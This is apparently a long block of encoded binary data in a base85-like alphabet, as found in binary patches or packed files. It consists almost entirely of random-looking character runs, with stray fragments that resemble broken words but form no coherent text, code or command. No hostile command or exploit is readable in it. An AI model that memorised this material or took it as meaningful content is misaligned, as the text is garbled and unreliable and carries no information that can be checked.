zL?LB!vJmMw*`))YNe8}4c6mHopIsS!m9SdL!aeWYaMi1En?+wG+ugZw&h=A_zv(wg zzvR+f6*<9`XWG+Ur1RyO_H&hbdCX6mTx+C${apfNVa#f8T(WebRv6oupUoL*!C}m= zw;YX4%8C@s<>qmh7<%2vVo=rVD5%Y%Z&_2_C40G713TShvI^*9nK*c{U?!LDff;;M zrbQj334Rvc+w5b%8lslp6?-nGjVUMvnZ{lQ@T3@dzti+(*OJwYRZIck$g2rwkj}}* zhQFb%OLp<+B!!e4Qp)X~ARHzZfuAzUSU zIr?lL8VmQ1bMJXLbeY9Pmsz;OoSW<1i_ZPpx%Zs=z&T2}Ea{`g;kZj&S<<&N+Rv9I z{aK}6o}(a5uC=3n1ACVA*?JiApAhxh`=BOK?>^CynwAMG_nQv~X&BumI#PsGW+}qj zipoUC%RM%Xe0zAi*xD-Byk%7W$6E&P%aKb=;xq?BYayrHR$+`uYhkE|;|6+YEkRyN ztwkfg&{{4RaFK{EM1C}1Uqu$wuZPw$+gl4hYc2Tf*^zN~D7 z%U`-oalonGLSzdcxP;mF_^f~>wu4fi-sMc!ZhWBY)_rS8P$6$J9*YxQq|Gt?F766- z?X`Pw@>%Y|B?MJssb)hDzLSuYm;pn&CwLEz&w6ltmGEY{ap%NvwwH);KXUHr=&R43 zbM8&&(3qB9ty;nI#BmN+t`%k<$~(rTILL5Y*IJR89QMVkY05Kb7_G9bD_GOL*=oEJ zG&Zl-UeoSc)A=*JB`d6H?0oK?ob_bqlZ(8@$0>Ajlm#`;@MKgZA5+cZeO!p8|Adel ze@aN1{ZdHH-{Lio&uSiDC9Fs{?)n(6lKnRN>a*9J+d;Ks;dq8;ai==RGd$zCKXkze z{gT@8vY@Gb$|PO@o8G9^ z5FOInV+Z{r)Op*|g)>@PJKVk^Pv&w9jRg*WRwlK;p?N`z2gQ&n2Bq)_YHNeqSu>OR z8cvzZJ0})c*y5nJwqrabHBk&nIUu2bx7?BeUU&EKshm(}Ph7d>kWP8_pE$G}@RO=@bG@{jy_WrF+s=FH#MI2% z=FN8ruhn*XXl9bC=&YF`YPFkLt!C3(GfRbg~FrdagSYE9yd{JdE7+LEstBP)$)*)a?86~EebihCbp~_g|y&ng-9&NRL%|Y zJUOwJhtFCbKHKZbxXW~G+{4jVA3h0X+?&q59a&u7Jg{)A-7}8o6vlNr$IdXu zeb+hOR5R`{wHS*#H~MT(0^^oB*IR2$f>v&gkLoIAyRz6C50G$}^VS%rP7!GDyS$Z< z2Xp^czeS?4?ft*e^sto|b!|%VZhLAx`>TA0>DPNNMSny87JDga&r%OXfHf2#G#uUe z3foPwZz9JZw}m_)$)|-p7+b)9327k@3uz%7laWW`dFCsuh2XOmg0B+xdNJ;F9UFIR z^x3LC<6d;`*B)+wq|V|Fj6T~>$vCVvi@U(XEpm>TRttv>X5pA=HIAop#`V@3k}fZ| z2Ci3L&0TB_vsKgP)EXwXH}URBN7LfH+glf#T^9_m8a7%_&7y{lR?D2L-Fc+DNSy)o z#_H3fk_6YxVNa5LpzduG{d$*V1d|+gv8~8R7Y$ENl7=rzDmnYOlB!)tgQUI?CGj^x zBvtRq21(_Z>%0=rZ!Et_Dn64`e3kHSqH*Wy*tmP5uRgoaxmTV0qjL>)7Nb5J5q*`6 zu|KKQXN>*vRroeoRxF*j zEw@Z&-crcTCI9882I-oI=zQmN(!+I=V2w$ZvW>Z3!&Uauj8)sx&rEOZSk$Y6udTIf z333kxQ!PpED)UG!{oU}8_fei5F9(@xjFyA3q0IkP7D%-Iq4}U+y=cqRB73!e9fcSZ z(%VR5wy}dgQ@h<1%Oy=oGjK)GtSNC$uhA@3(WVAObtadW1JlxJz{12?D%-ShyQuxS zu`X?jJ4&=JmtllMBh%P8IBtVuO|1lXd_3Mi90j!N2KurGCj>7Cp%_V{S>#LV27}b3kfvz z`WU{8DhkSp2F-n@Sq-~qlBx^CtlWSkBzK%b7WGU?6%mx1PeH99@8?m88wCwG1lX{3_>J&1wd-s&?k0rj{0)4+_aKGy2t#T>nrO-P9F&2lY2O z1e%yNsGByGSQi#AGvmWJ@Mzi~(=A=Q{!)e5W3~Pvt=+Wbu1_#q3M!MN(T+!lAnWO3 z`Q|H|tKPNE{q+9*2KF1upOw;$sd&maMkOn}+>q|quwq*nPVXXJP*Ts_FG7q-QodJq zUP*elQ5V=!KMWTHI=MBHM{=C+xgZ=piZa8-dumiRVxmA26ZRCK9U80ow^_Q|K$(-36cR?t-t9F$-lJvrxv3a&8yr<~g^}IqWQp zi=Ab0?{MyJ=bmzo=ZF^Wch3F6xqmuWC(Uf(MnqqIwuN)-?qb(vcNYtHxO0upo$DN5 zPPcG(I(LtA|8%adZwkj(k?a}`&h6^l9?ng1ZklszNy;tmI?-1ND|L+9+_@b++-T<} zI=7E=Go735T#IvjuhZ^Lo*rlWlA~86=2eS#INCGb@I5Dm}%G+izV$)80RG-i*?B@ zrNG^1BQRpgcC<&s?V*&g5OLf}P)gm_NetH6@~oY{9~MS>@5PbaheA?%U&x#U$K*%t zC}^9_<+qU@J{#%bvv)9zyI9A@{V@9K!%j%Xz3tq)9&Q6ks>R(n`s^D%#_jLiDIV@i z&J9-!w{V+9pH>MuH_o|QEeL&!OF~p`L67Jv<+TySkva(GK&u46oVTFR*Mv&>Kdtfn zWQ18!OPkdkOrZ71UTz0<-wclIMc`Bxsfo~Jcu)S=u1zGr&#tXwH6>&l1T9wKFedwd zs)cZWZL)Ji7oA!Ixz1a|!Qp=G5A{fEplK#KXjY#}-Rj%ULE1Zoq|_p$H5@I}Rk9A@ zC}F#BvXF2Cg(LN|)`8Dj2fj*%$za@h(O1bHaPAT3{_Naa&aEvew7B%>mfqIRjdZTj zxhCh>)yCq!?Hn_9#xY}O>7~{&Nmos7LG-Kyt%}spOfY+F!#wy{dYDYaCkncW3$k0wZSxxOIULjH+4n3$fVUuo#u&4 zd2~!{V%iX9`*^Iif+6Zk>Mpc^xfmnejWyW`A=ugysXiG!*WsyI)-1r((5(zcXh2It zxAwV*ihoW0R@bjQ@tBuz@e|5aMXU&$L#Mz~akEsP5};UPp|YNzLZI+c(d8W#Ij7?~ zB;1h-C^c1jh*Kj8EYOdZx|;BK2sv4Tp{34?{nD{QTB`Pt4*k_aA)}~8!VQHjLP~tG za7UqL8N%Gj(L#z;yERq!5o*8b@V(JvgmZOFy2!+P4YcfK(Pt~3;40ZI&V4ufD%r1` z`;Bu0)&7W4A9fqFxLD)HVT~I%*}19CwL5o=b0<2-Q)G+#ZRc)qj+qs^#&4WEs!!sW zZLzq=Irn+z&T;Mn=MatZe9BegaMVApxK@YKJ3p}b`E6f>ASK?ww;INu;!FaeA0Sm>qnpDD22vjyhe;y~uDd85H8zX6eTdl^R(c*CZnTXe@eTKEZp0=M z#z?qJ6A9e-=^=@=f~H$rH~IB&+_xu9$30+}Obx;8%PvDa8ZR4-9dsa4!(2;^%1SzK zr4WA$<$NXGv+2C;Rna}^yu3V^vtXWq+ojqy&p`K+rYMGs9_)ILW%bkwdQTtRwC;qr zr%8|MVM@ZQCtq#PEuj96P%zwSQj#2>Y=_zGc>b(-{F=^V$)FwYiyVL)qaCsCZ-c-| zYXKT-hjm_kqZV69NR4R!)u0u%`)b&~P;( z(Kl51X&tXCJX)w7TdUOa#=L>^tMJulJkd99SLgO{?m*`baSqLBanXzx_gl`PBaP#EzlGy@zi~fx?&r?^#ks#a zH&`0Q;;IZ{+#Q@_=V(iBf^&O2*X*2nqZn?vbDwqY+s1H)5mxZ<<3VLIMJzvB7gvop1UFe_g? zUw(EbNmQ791}Uh!bWN=GW;I-MW-Br~`0qXXWs2hQ5h%T-%||X+5~dlGN-V14q#9@9ACw)ba@<6}@`P=E=S73hXCcyL1qGKE8*e~!k7zk` zTqvCMe2km+;g}6HWnM+4ws*J_Ey_@OC_R)6uFH(-BICkeWC1N#5#q;Q(h3%C%jm1mws8(!W$BG~Zh><=DYLj8&MkB9Lgy}Z?osD{;@nKN9=pcu z=&NM&ojcMwo~T(k*|qVyr#pA1bF@@!Jk^f7jiWCKdC|suOXp5fZpu%;Q=AQT{sc*# zIkT~*x3{)6wRbF^sh#+mv?@D(37+=CHxM*3J62yiq8X8!)I#x_s|!tw#{e1~u4os& z?hmxlGz{tao0@vMNV-Lm=6%r1LR({p$6#>ukaJooshZu9zYqHP*xbU!y8kKI8r-)` z2<{v6gEm=u%t6lb#~idAYvg+5pgj7s2rp^{rw(X2D+?#-hx>BBtO}kcB!RC8c~)_z zkg@4m!gYmb3#q$vgj^aeW%C>OY<>fueU-$xZ^m$yuu{*spE~#Z=&R5E>}GQV}nlqCyW z!?5A4?aA?+rkS*bB#Wpw9wGGBj2N+WDwHDo*SseL;R}(oUF-g$mp)V5$U6%AVCvuP zvTeF-xav?v!W7j*?z-OE6|aT&+ktR%>^2rOEerQT*0E7rIG5cY5@poDiUaD4{&**Z zQs33pzUsxT%TI*Wz8rSq+9Myl_(1tol+=d1mR~9^+6Y=NC4d$u0j}9*b25vj zwJzvvVJ}5%?GF+nTSXPMQiw)R_mjZwAHpzl*(@Zpx|$AQ#twR2J^p}f&P=uw8ji(qK0921N*hM~emdWG8< zhRPHhDs#PT;Gk7Q1(9TwHC58I#x{+m2Mp4*adyZdW5&!{)VbuSrDMhf)!3z2$BdaX zr)7sRWAggtQ4C6J)tE~vh2!Jnaet-B@i*e}fOvd=JYFRp|0*6=;xSqUmyZ8phko3r z&WM2upU(!XX57)%wvgCuAm*LON{p+tKUHbaj{WM)&X9;#2Z@*6TisG9tsTDQw5brg zLOpDCzED;}6)ApPNO?acL`0t!eogqi@H*iu!n=gO75+&0JE7vBA*)Pu{8{*G;Tyu= z2z7T=h2i;5^$)_o3el$j5V8mRKZT5%q*tq~f__HFh~P&;BwF`aMc;8h=(Bx9*eDF2 zjl%F%GEy^c_2{c)n>)vjMHX&~bJLt-HrnDc8*SlEaE>QA#$nl5xNkW3h;u)3?rG=P zz1`ye-MN1{w~DIF(pxq9D%lw4#yYpJbNe~Rc+BEzUNBzc1m{k1PH&OKa6E^$ynN5O z?>qN%=bmy-)@b(VRLWU)Xz*3CZ^~!ay(;?j-m!DHJNJNdk2v>)b5A?>igT|z_qKEI zI@d?q#je{w`YPF)&JA&HYv)EfCr>vU5!(TmI*GE4NH1D`t3Jg+d3|wuh^{}f5%+Iv zTEauvNqU*G^+>6+qG1>xm#(N^yHZw>rtMoBo9QMAP1b7lWxNl6wL+&pqIC7tLzr=w zzr}Zoa$KG~Cz0r+hS{-H z^R*bRb;-;Qtribm?{y{+M|bLT@u>^9VZd6U6You+*jenxf{65bsoGDjpCbMGp!wY#tUi z2p!>R4;8Kk14joamFJ zN4n4Tr_fY^ISWlu{!7msNt&f_QeLG+;OV|oM%Gr+gf36t+fznHaXjNifAOVrN`RKO zf~Sl!VdMs>nr*)QQ$g%C-(I7@l4`VjUR~zWr-B5JRzat^_UmT$swPkDqtdZeGR(LC zE6*5N4nq-iUDKVLnB?4b=(2EI_6M1uwNN!Jk=MGB@KkXRA-pVuFtfC$5G|qE+%PVl zDBMuTdkN7*`v@tr$wHZ!nQV*duEJ?TN}O~^@9l=vn($d`!dD3^P>nk~hO4mOQixHn zQIPp6*&m&gH5ks?IzNlcIzLNK9Z!tAw{tU`JIJ}^&VAOo8=Skvx!u&N>>4VIc#T=k z9qe4K7MpZ6)r2dzSUoN1Hup;$TI|O9y||bD1b2eOZ(^%HV77EV`^(L0UaT#+%ir=$ zZLn60W%3tOTw~oOQzq?o3@?JG@U_}31HTx)bFY@hwxtaGY@H1CX)d4arB$82eMr8g zE#z+R&L#P4thJi%x{5Mf=_p5?vszo4w3X2Orb$}Fz1**q$}P3{p$g8U|F7yw(Ojun zEY=0tZLKRAv)y~1S84WQv8XBX*q&HeEOQpk)@)Ro{-r4Lf=koCflbB3Cw9p&#W1H> z2*Y%OoO83?Zj~NxRh__bTO9LP0e6;;y#>4S)(K?fPU*rvTHts=d07A>t za3-{5>BG>HHBVecw&1DB2SPdrN1wG!IBS{s>N8rVarb(-2c4rmS~!i%Vz`afevI2R z`YIW{n{kIZ_ciCvbB-2g;b?LAv?k8E{hiZ_hZs(49b&lD3MVNi$?X_DsaX`QEJ|QR z>3s1S{aZTsDdnuZTYgG&q|X1u#LlxYNPRoX`h}lmCV4E2&rNimi3eT+2?uQ(oOMY(Q<=H zg{TP9v>Qa5ZMY7ZROxnW`84f%$`8V=>I^P@g-$wE$BQBhP`0maOs(fnJif3}R@Gtl zMd2#KFA1r;(}lFHGlUJouL`NpuL&uQvxQp=&k=4XJXc7(ZPW~GRSP~_)q<~*-5t-? zv)f+?XM40+IL%x{?n4j99E-(eZo$G~=NX5D8;67&_f6-na_%1I?sJa9{+oW>QF7EX zj&r!8G$XA%Ki;SGJTb*tP3N~!rJ4)U+Pt()8h3nWN9&AMjTJOxnBJZ~o3d2OWbB}` zRAWr9YJ+uk8X-upv#Q%FPF3bbE_}UTBUw=Q8W39tCB#e7yR^v4f6L_aUJ$3*8?Luca8< zhgieC4^KHveK>s+t72>78+1b!Ihi_J_Jd zXJSfpME<-e!RHGp$P0zY#wEgSg_jB`o39IZ6Mj=TS$Ktz624M6TX>c52;tSjdBSUj z$jEgLOYxa5#a9X6I5F-!F`TXaHSQ7T)|50FHzfKh**xbKI`_77?>g5uL=sZvsg{$j92#{cS(2{o(s1)mn#&jFSVCrEg4{0>Mp@CL;yy140INbY z$B9C8zgyW@JQ zT~?Bp_fk)B!0+rAqU%qn-Q`Of7dOvmZ1btsCHi_N+n!o)$hy26c1OXP*iHsFyUBdtyqlHF-n+@+vFgd<;2yGA>@LX;$J8Y5HXS1r*l9(Hpp5i1 ztcyf6tFT1#o^X(e79r_KUj$t-M5@htO?)O1_-r+?ao<&VReWBsy8uVsNYxFugh%co}|HMxz-ACxq~!DPj^EMMgtRF z#CptOO497GwIu=!qw8X0UtJw-{yOfH3mMOx$tEny6puab^B`}J=_ISnkKdQOlt8}vh(8E`tWwTarAW-?)K=bgw<2VJ?$Ja zZ5%Dj;xbw`Zp-MagcTabF{-d|cYC;do%^wKk2&{S=U#IzwSon@YI5gCPm&v2fg)st z1U*o?aIBOPPu=nLp@t=5)Gj{Zre7mY2o?IH0a81%aN54xa=udFy+P(Gh#)++q z+gh3!kQAS1Xbpl!(+q>HHOyH=*vXAc7HDNcZw-iv;s#xS*(Muz6PgUxYBJj?^h=wO zpE!VCQI68r75fuMFUPN@7xItOxFR*869V5SYbZ3LyTA_=ZS{(0XVDX`|+r8d%niw2#R#Su%Lw#)6{ zC}EB_vcs%RmN3Vs#pB%E4RZu@BMl%sTS!yUif2K{=_`uWI^oxa72%b_p~7p0%Y>TK zt$s#$r|<-!#z5iQ^4}MprDL_E(ApQPKeE-3_-r*Kz6$FRGUJeG<5+KC+(yw?$(Y|V zZmx5zax`w4bGJLkc+Ap!#5q;~7{`-%i_4RE<9HHp98cnn`-XGha*j8`E!=(1QDcA8 z?@IlW(@OT>u=8+e0K%o8geB|;m(CyY9HBUC&)isrMro(>mxl8uLDR%@U&Zrpg!5=u zJtffZq0;#Sp686EMrms_lZ`8B5b{h8Sd+fr6vE?@1}T_m6P8C6k@urParCM(u*VM@ zjmn_)7g7t~W><44t`!^BXGGn-HFXJ}cr|6!(pE}HZ*&{X$e@7y>xNi0A zJ9P}ACxlll?8b)mIZ#5H^pzDIXKa^`;la1ySbISwEV1hP63nnZ&2{YJ-TiG>M)Z@y z7+Nbl=j-Eplbf{GX+335v&r%MGI!K{Q=`iV^<~tP>sD4OoU6;;=la>Yb*p9r>UeSH zH4SLz2JY@U_O&BZ+O=igwB{v+e4!PQgF^NqvRpm8?})q83_J z3##D`bq$4TpfEM5ZjbxuwzbfxZVffv&uL-O&y?9eXZL3}$IS8w&@#JP-2g2JBD1e6 zvm-;iKh<#=^UvG6y{V~IMM=n%FWl{Qb99NDbcvtoS=Cwb5`Ai1f=W6t#Cb$jnkF;~ z(-{=QEg`@Wb?axlsSqg|y${9J^dN{CxTAN%Kc&^8O=!^q$RN1P9A4=JF zu}>2nOb;;izm~cU%)(_M=8TS(Nv%G4GOKkz?G$ViDRT~tHLW=twNI_u(etWPYu0{V z+Y64>=M74=jT{{mQaIjYe?WqoudJ8saGRZ0%T345XwpzCG`J9!?t+z6JjGs3hBQUA zj*ifoJXN9ZUB{*8__|Tr3J2*KqAEsz*mXA2b>?LcW&6wCPBTXPb@*)2n<`6W;J8#G zNI{&cnc2~wB*N;vbsY%XMWH?eMolI;x>9nH4I%iXO8%O&Z z#WuLMV%tzbkXwt^U1`zhb5YthZ-W)8ni*N75{Z>j-$i0sl}RZx-!)i`ITStJ{f0^h zhZu9bvmJ)nE{?B>$7lhL?}*2%M03GP)Mm#xKc&tBAlw`u9*_Hk@JGbs{#jc*zc`*x z=ErB^F`__x`e9r;{zp9K`Zihew$2U+4K@Vit+4EJ-4)&LHbr=6;|Sr2I{tz1OriSCDiZmU@LJ)^!dr!} z2){46aHNIOW}8f&kAo7(&gSLd{L;C=3(vS&B9l8tQHv7TrL#8 zuH!|*cZExYDAqp+SJu5AD_mQsQVeS`j}wm2v7WM5M+r|B?kxPGaDU+$LNtSR+o?7S z&k|B2XA5aN=L$b3JYV>E;RQmakzFc0Rd|_DX#}h9JmEKVtb52bZm-@Wyju9M@Y}+l z39lEvAXHjal^G^u^*6#sp~{GP$0}nb%7?e!o)rGK@F`)P>h&36U*WSt>Re%~C~NK? zJLHc-TF>Ldup*y{K3iJ~SJCotJ6j*t#v3PT2r=rBhv2IOoyXbwjB>GXDxDZk>7F#GN!k!bG+AQ*JaJ9g=5XAaYr~e&$&~buMtoO{~2=bU@PxwoAgs~*Gh zHzE2eS&MUR&K>Vu)wwfdU0d9*MW5bmaZXPLVxDhw?mN!?z_|yU`OH zb8kEMp>usSc|)!$*=o^OpRMWKhRzLlZd>PeaBi$~6P!EPxx<`OL3VpWaI!dfez@Y> zpNvYrriiS?>rZezM~l|=q`jt3Z*6Iwzue7+?t6En3u4`;nF@>y8#~V_ z7#VaXhlEQERd;1`cFV)@O2O0_9{h7Uv7AFvyk*HMns4mNnX*+K^B9wo=@Fvm(}4}) zxPL|pJk$3nl5RJbj84Yr^rXe7Ymcj3W{+3x>W4v--);z;{^;pi+Pak6DDJqyUBJZ~ zqoYoiP+Drx5R+jZf%CKDF*ja#%JFEV0qQPOp0HQ%!7q1>G&=dC2f={8PPn#^9uwPz z9<@P8&%1^2ZsFEK<`uRR{y@0Bkog5H`TK=?2xV7PDP7Img&tm-I=rQ+UaHE7`3WHv zOAmCE@HydP;q$^);nTtnp?bF}70&hPc|KY<%~s;G*-Cu2C$Vwo#&EXY!MJ;!`*HNu zXOB5Iq|Q>V&(@2+N_cv0akp~rU=JsYCFG^T9S2`Md5xU<*T|`7joh!D`<-(iIHx*` z;i!$j>8E;ix4QexQ=Z4aO7t$J`GXW^HJ!U|dP;!#gCxw;r;I;VUrmvWYR3sGF+8Rz zpS5OZ>j;?jOf%x&R+{BGwR9Ds%yq=l+J`I$rJviA;|c-EXL+5%U0PX5kh_JXpm#5- z^}+{)+|PqTq~SLGZ0;JLNdrFn&WCZA#Blb$uW?T}_geJX7hNrGts1bgajq-NHSkZR zQ{ELR#hI*gj~t*s!4+$utvS@d63t2kb-A&onpuu=P-9DH?^C{fsCfQ35{#3$soIK3 zcC9+S1fr3bdi?AmWd@PBdWBWUJSW9L##n`787o#SnJDO+gB3VA?tij$`T*h7NRE?H zig&z_nw==5X7?7NZ)ONL6)I<8C!Z-o%5RpC8fRxkt8si* zU<>$eQaRG1de=W`ihzO~oLNB@MVDLUxH+U=UV-v>WC7|B9kq_|AqY8H`Bm^2LL~WV zA(H&EP#seCTOktts&HfB?}eKP{~+8(_!r?w;hVx8gnts!gT5}r^ms+ceg9QRQT|Ox zkE)SG*biLeh^ksk*uzn+Bl}3l^M!r;W>qS5HDRkzV~enx%Njyj&>i|&3&LkD2wx?m z-!$&R=&SIx;K(uFws6lo_bccA1`2xm2A9odpXCb(83+)-0{v;ojct* zji+N?WH-dPjCU=68l^_=4d?o)f3<5cDztF5TKHV$9=C=;w^i-;EB0=so_4OnqE-*n z@7pN7;0iWzVP03QA#KwnzpZES{}ojf~}Q2-o|vBQk90LQ2YTj&Jt^+n(iq6~wLUjQa2$1Pix@^nrzA7SFip&dqX8^LsJe=bXFQIgO2C+=rZd)VcSZ!@9R? zpmXfH%tRUYU(Ws1xo4ew(K+=OG47w8>!)h5^aey<{zdeYb>GR|DG&0QS~nwnO+WerzP!n=WOYQs1ZxZDK#@fT43md6#T~p80`t_m{>3z|eA5SN8+b9Rx zmG*H6_rZP|SBK+OgDH2J%B-vpyOm#3uJs|}cA8bm7j{@;1El804mw|nX?KfBO>O(P zv2cY2%M-(Bf`~04_5gn@byzs&#@Etg#R1CR*g+Rrc6_RaXDLbLexsyv^Wx8iS4m3c zvhbL*2t*BW;O!;qf@+@A7AqMwO@&Z-dDXGB8J0UM-WM-QkvH-?C*&3#ijd$aRF2c4 zp`>HKZKrb``?iReBMBh)XxMdyzkrb2PnwOku)h$EdVp|ap>})=vn`tW4L0FiAvN77 z94DMFoFLRLaMejdb~v6aJW7Zr)lP6>mGftXRL$pw%Y`Qhr2?{(g(nEVEc}A-G~pS- zGlUlk&lFxJJV*E~;kiPD;V|J%!o!8M-}8l(_C`T7bBFlq!|W2i3cFK8uCKJAacf0i zeR!Y4xUtSn@NhGnJIJ{co%@1wUvus}=k9Y39c|Zm*SYtdV_h|8_3nT4>D>kA^t>|0 zo$1_c=RWJ)3C?}RIo7b)b>~P&+ci{gk!y8ssdK8O815wJE^zJ==Oo(QMyA8X;ga4d zzm3V$o3bV*juOonrSz$#iD$RAAEk%Gnli%H(+4mARpS-gj;ly>cWRYH^Wx6MUDNDU z-*$=JxU84h$e_9Wt+CPl~&J^i?vw{TOZmfDrFWnAVFX*= zogl@b;-2@`#k|j~Mf%R+f=PPaxxG2`rC|YeUtL(Ty2#F|@O$1Ok1?HXBcOL3x~G;N zsU%Y<<(l+2R@8@!a^5|9lJJ$nE$5q}Jlng3OK+!T&)kY;3)8KnWf}Gnpqg1mGMPld zk-dUsjtivyp-kyR$=ayMPtiJNy!#4CVyduSxWACHpDsiqPYHe0!O>?D30KK3cJAxZ zS7A4&5W~K4Z{b!^E#s@tR*k+&w%j?b0SITchlX={o*%hdQnjhBflKvMo=s#FQl8aM zafU12>Qh2={mG?julDxVb`}x`T}>z+ziG`<;Cd6PVBH28Y-!uSWkCp!DCmZR&4MA; zn`9BcGh}GNvBmg<#0?JoKq*LVlNOf1u%OFCFVAsT!CS*s>#DlXUR0|DFMWQB`(@Qm zx?gxocX$xU;(g`fMt%@Kv>5KsI?kU|ATP;L_H!j-q&PK_TdVN#ZX-ncwi6az!&d(OF+ocqwZK9V7e z%Ns$K-bm-LoQ%VAvT)yY?keZ*aqd3nYDx5Nx-O18!7EHS5loq-t*&wp?)dCxr+Bl6Cg)H!PjJ2@3sLfW+ zuz6;OV$54e?dx0K^9@PAtg`E+mB;`|Pn#*fRC+_B`9Udly-q_kIw*^tN+LHe$TO{o zp*Zdk9p|lRnUUeIPGpPJL@2M8$X}$^fDBw5Tg5Fxtcy#9w9Ctdl-M_gn+P=)2{TOJ z7H+L$tqluLp|2OxFWf9do=Au59I|$5W%#U>;j{gYjJqI)t7sjl#i$QkK3X^lNJvF* zrB`+CWak)*SX{;;7H)`h>p3^lxlzug);LLd zPwvp@p#*Tn)<{p9!lv_cPaqU2+2)ixEA>4~bKRs#P0iNtdol>j<*jwff~LlnXgjyI z%U&+bxg?oOt(k{gBK$wcoZIdV3VP-=*&Vb2Q3D~E4M-qzjl>YAx;tAw45jr)spA4Ok1yKsi| zv|=y%^bFKFTD--j#oIL)of!8O=Pq){aG2f;iL7tsg|}V zylDI{Dhit9wGuxmiY7A@3XghL{8$W2)a-~kZQY`;P!|l>{piB;=XHy^!iQq)T6~N0 z-FAgGLfM8chaOKKR)}{y6W|1kP8^fjIoJP0Y#)Q)l zWLUQgrTN(#RCx!C&zH1?tHeJDQ*=FPAruWQkP7Rux;Bj3DCn;ml|mv2B8A^$(W9Nv zAvo@x>5{g3G_nA4i?$jfL?hs|=W5VazZY^ZL#0)?(jRn;wt8K-p-?-r z1{>wC!p(L358*aKt+fr$`THmyeNJB?59;~}#|irj_Y&3%X)0?8(Ozo{4-pO#&K2ql zrPX=D)rAX$T3#5w-tvah=g!C%`J3q44xec|e3k6hc(y(~2RH6*=iZIJO2&x6;xb~e za7Q`U>fDviX*FRCcc*iV9W3s1&b{OuZ{FE8n4z?A8#}kDb1ymfigRx`_qKB%I@d>v z$I=@bef4~mH*!e>j?mpEce6YV`XzyWtI9i=1H>#}eHZ82rZgykK2?>Du3%h5(*iBB?dQjU^MBGFWMz4RMS zv}tOUODym-+H{^BtOx2Jd&mqA$1|FaWY<*NpWI$jLooG`2VG2y^CcQ68s5TwYbOxGU+>V+T!8lhbtByyh^xdRb3ZSovewS=gd! z0-1^(P4hd#X;!_WvrY|>^6^ip3{yd2O3~`l~a_$x9c*n-#)<<6@Z1->6CeBUtaQirSsB?3id(gQbI>$2| zOHccI245xP>5g$c-N9#HS~2cO=azc7W1Tz6xi310rDbt1caEm|H~pxc*LrG0SjNK_rLL_o1K8Hu+F~7jd{7Xqg?-lx7E9Z7o!ud{Hu6(Tza)Kuebce1 zT@!&zt$C8k6d`4pM0w@#^4)Y&0}PUva2NOfSSvh>J{yBQJzKHtbQi1Yb?>^{Wc9OBJ0Y(t=jXLsQhTJlM^fTcSS1 z=J!oIMZM#=g~Gh_!N!Ka#A81W(wG|g-wepAcz-J-iC2a7!aoSH7yc+@6#ggSP~o42 z)ae^STG)rOb*zQqvlfQ05_E)dSH^I*($%=9oO?U^>NEOui~9*ll!e>^F9hD^2?vOKl{AKK*l_d~LWnssp&ahRo0@{F)Zk_q3RZxlX zb?!hZ!R0b0Qi4__oZ)+z=>h%XrPG_*n_KPMT$D-*ZY5;F`MeLht}a`=)V}N$mq9Uk zPEn;usgelFx4$}wpUu;TQ4(%ju(hGe49O$=n2lS8>P>nmA`^87IBqb0w~iDAPA zA~o|To2KDe{xzK?k*n8AFjgk9fdlTo@R#qG6V^Wd^y9!)6o0QlJ9mx`)xJD%ujunu zgMzx@HZ?)wWo#AH8Q52|pDGkn2-^m=k(;WaPYV^EYQ;+XlXW|5;+W#ouupE${_RKV zLj#sNn_XLvIVmK+UOd(yA>2d1umJ1Mpf)FVwzq4iQg&(!I*o-&y(UYn=R&gfuz@mo zFC4F;Wb^*@$?>6o9dyD3I@lqFGq;WlXZlPS*k>iq6?^4NW`uKn7jUAOT#VGO`V41= z7LvO-MCn`oL;rpQSJuMFe2=Y$s77-EP36^k^<${O)? z6;`lf5IEBX;z&))(;`~4C zFuP$>J05HeCmR#fw}z@|*O(sD0=N`@Y&=fsO^e6AdztNmJRs6UMQ_q`Z7BZ-5ONhg zr$?983s)7+iO=s>6{5e_7LF0FC!8Q$UwD9UBjFLkO@!$2&4fn^w-O#D{DctYu#NB} z;Yi_^gxd>G6Yd~9SGcqAa^Y^m?+Eu0-Y1+Od`dV`__A?<55 zoGlz7JVc02<38w{h6w2=I7aZkpqsLH=<(Ug7km}%7-DDZvw_iPUjwjk>pRD+jB%r! z;|&Vq4sov8Ir?Y2#tF``e#SUfI9uG?oco<~e{il}pA?RD%@%iU=VYKqj&*dF9%C*G z$4JXKMq0)lStqjQU$JKDL=I(LF|Uvcg% z=Pq^b8_wO}+%3+1-?{sp`>At3ckV^!e(l_Q&VAqk?ik*tK7u$;!b<9MVEmoIND-1J|eW%2aoz~pa(!8`uAER8r zUg>7Ep-B0nVINiK^?IgRPJpHQo$5F24Z?h!AIdAe#Avs-Pu*Cpls{GPAegCCm)%D^ zb%6b2PI6O;==;z6G!uo%RGJt9+e6@gnP za1<)_bZp?5{OsL~d^Chx)y+ua9v8S5w3pbRf5~bq-JuMDXtk{t?ij1>zeCbJSZ!l5 zq-t4hU|&IY`ZYT>05oRo7pyBO@>LBTxwTjwml}ZZINP;CVAnr zxD+03Yp}H~HdG=(WMFU>+X}yMA1w3}MHJIxtj@=2fGSbYVR1$tZiJ6dpZ_ zOGecDcIZadpwL1koAG+qf^(y6i+Da6WjvL}rSzu6<7AY*t#hneNe&%|Mb;n!s{^<8 z%4U%b7GjZ|AjBA5M~Fo>Oo&Ccv2eU_gmAiWGvT4aPYCAYN6JG42b_>AmO3z3Cj?vR$KJ z^l8nI3~@E8yJ1{*&5DiY!SmXIJdQP8bQRk zyE`||xv9=+<#7ymm~(TTYjLj4x#OLyI(NErXF7L@bC)}Jy>mA^_mFdsI)|b~+lgtNn97pjfeOj@({Jjv?cYfE>*P9;sPRui8TQx7q zzXX@QJ+u`p{%yeZahl+K-+c?SU}tY zKfateQg%qX2eU5WEgkBp@WrM0c`d6*Gw!HqxoP8gjBl5N)Kp1DM{(&iH#o67FVezdEs*+)FpCJ zkc#xFGK$UXzCmFrd+L~VFWqZsghEiN$fQ#1p&nToOCeHUU2BU+$PGF(T)*_qGcSLP z0Xj<@WzF&Kb{H0%aC~??zDwu*$?utw1ZZ0~>){a3iB5))n^bST@m@m8;0We{pVv z`VkAaMf6p&QO?o#S=>)KcZ74Fc8+y+7LLBf(mOKxDj9u?amPA$l5<~lj<@$L+~v+m z{JLpkS|2VM)8*%B<8^oC@3o~kt0~^I(?fLqVf<>dmy_Z*s?r*IUdG*Slc0sdcL33D z#OjIK@L-llv~2F_3rpRi62*;^^^%y8tRwi@@Hwk)D85a zAT*Pfwsqkac*}@S88U-PCdjI|LRM*SJbuNItzMp`m3N`~P%Ej3_K}bz>NIm#FI-7T 